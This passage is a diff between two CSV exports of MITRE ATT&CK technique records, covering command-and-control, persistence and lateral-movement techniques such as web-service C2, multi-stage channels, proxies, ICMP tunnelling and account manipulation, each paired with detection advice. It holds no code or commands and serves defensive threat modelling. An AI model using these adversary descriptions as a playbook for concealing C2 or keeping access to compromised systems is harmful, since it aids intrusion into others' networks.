collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. -Utilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ",,,,,False,,,['User'],"['Windows', 'macOS', 'Linux']",False,,,2.0 -2017-05-31 21:31:16.408000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1105', external_id='T1105'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-20 15:42:48.595000+00:00,Ingress Tool Transfer,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation']",,,,,"Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. +Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ",False,['User'],"['Windows', 'macOS', 'Linux']",2.1,False,,,,,, +attack-pattern,attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:16.408Z,2020-03-20T15:42:48.595Z,Ingress Tool Transfer,"Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1105', 'external_id': 'T1105'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation']",,"Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,,,2.0 -2017-05-31 21:31:15.935000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",False,['User'],"['Linux', 'macOS', 'Windows']",2.0,,,,,,, +attack-pattern,attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:15.935Z,2020-07-14T19:43:38.181Z,Multi-Stage Channels,"Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. -The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1104', external_id='T1104')]",attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-07-14 19:43:38.181000+00:00,Multi-Stage Channels,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,,,,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.,,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2017-05-31 21:31:13.915000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. +The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1104', 'external_id': 'T1104'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.,False,,"['Linux', 'macOS', 'Windows']",1.0,,,True,,,, +attack-pattern,attack-pattern--830c9528-df21-472c-8c14-a036bf17d665,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:13.915Z,2020-03-26T23:26:10.297Z,Web Service,"Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. -Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1102', external_id='T1102'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--830c9528-df21-472c-8c14-a036bf17d665,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-26 23:26:10.297000+00:00,Web Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Anastasios Pingios'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,,,,"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.1 -2017-05-31 21:31:12.196000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1098', external_id='T1098'), ExternalReference(source_name='Microsoft User Modified Event', description='Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738'), ExternalReference(source_name='Microsoft Security Event 4670', description='Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.', url='https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670'), ExternalReference(source_name='InsiderThreat ChangeNTLM July 2017', description='Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.', url='https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM'), ExternalReference(source_name='GitHub Mimikatz Issue 92 June 2017', description='Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.', url='https://github.com/gentilkiwi/mimikatz/issues/92')]",attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-20 16:21:28.502000+00:00,Account Manipulation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)', 'Praetorian', 'Tim MalcomVetter']","['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Group: Group Modification', 'User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,,,,"Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) +Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1102', 'external_id': 'T1102'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Anastasios Pingios'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",False,['User'],"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:12.196Z,2021-10-18T18:57:04.505Z,Account Manipulation,"Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098', 'external_id': 'T1098'}, {'source_name': 'Microsoft User Modified Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738'}, {'source_name': 'Microsoft Security Event 4670', 'description': 'Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.', 'url': 'https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670'}, {'source_name': 'InsiderThreat ChangeNTLM July 2017', 'description': 'Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.', 'url': 'https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM'}, {'source_name': 'GitHub Mimikatz Issue 92 June 2017', 'description': 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.', 'url': 'https://github.com/gentilkiwi/mimikatz/issues/92'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)', 'Praetorian', 'Tim MalcomVetter']","['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Group: Group Modification', 'User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,"Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. -Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.",,,,,False,,,,"['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,2.2 -2017-05-31 21:31:10.728000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). +Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.",False,,"['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",2.2,,,,,,, +attack-pattern,attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:10.728Z,2020-10-21T19:41:49.412Z,Non-Application Layer Protocol,"Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) - Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1095', external_id='T1095'), ExternalReference(source_name='Wikipedia OSI', description='Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.', url='http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29'), ExternalReference(source_name='Cisco Synful Knock Evolution', description='Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', url='https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'), ExternalReference(source_name='Microsoft ICMP', description='Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.', url='http://support.microsoft.com/KB/170292'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-10-21 19:41:49.412000+00:00,Non-Application Layer Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Ryan Becwar'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks) + Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1095', 'external_id': 'T1095'}, {'source_name': 'Wikipedia OSI', 'description': 'Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.', 'url': 'http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Microsoft ICMP', 'description': 'Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.', 'url': 'http://support.microsoft.com/KB/170292'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Ryan Becwar'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks) Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) -Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.",,,,,False,True,,,"['Windows', 'Linux', 'macOS', 'Network']",,,,2.1 -2017-05-31 21:31:09.379000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1092', external_id='T1092')]",attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-07-14 19:44:50.871000+00:00,Communication Through Removable Media,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Drive: Drive Creation', 'Drive: Drive Access']",,,,,Monitor file access on removable media. Detect processes that execute when removable media is mounted.,,,,,False,False,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2017-05-31 21:31:08.977000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1091', external_id='T1091')]",attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2020-07-14 19:45:59.638000+00:00,Replication Through Removable Media,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'File: File Access', 'File: File Creation', 'Drive: Drive Creation']",,,,,"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.",,,,,False,,,['User'],['Windows'],,"['Removable media allowed, Autorun enabled or vulnerability present that allows for code execution']",,1.0 -2017-05-31 21:31:08.479000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. +Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.",False,,"['Windows', 'Linux', 'macOS', 'Network']",2.1,,,True,,,, +attack-pattern,attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:09.379Z,2020-07-14T19:44:50.871Z,Communication Through Removable Media,"Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1092', 'external_id': 'T1092'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Drive: Drive Creation', 'Drive: Drive Access']",,Monitor file access on removable media. Detect processes that execute when removable media is mounted.,False,,"['Linux', 'macOS', 'Windows']",1.0,,,False,,,, +attack-pattern,attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:08.977Z,2021-07-20T02:18:04.581Z,Replication Through Removable Media,"Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1091', 'external_id': 'T1091'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Access', 'File: File Creation', 'Drive: Drive Creation']",,"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.",False,['User'],['Windows'],1.1,,"['Removable media allowed, Autorun enabled or vulnerability present that allows for code execution']",,,,, +attack-pattern,attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:08.479Z,2021-08-30T19:16:11.648Z,Proxy,"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. -Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1090', external_id='T1090'), ExternalReference(source_name='Trend Micro APT Attack Tools', description='Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', url='http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-10-21 17:54:28.531000+00:00,Proxy,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Brian Prange', 'Heather Linn', 'Walker Johnson']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) +Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090', 'external_id': 'T1090'}, {'source_name': 'Trend Micro APT Attack Tools', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sheedy', 'Heather Linn', 'Walker Johnson']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) -Consider monitoring for traffic to known 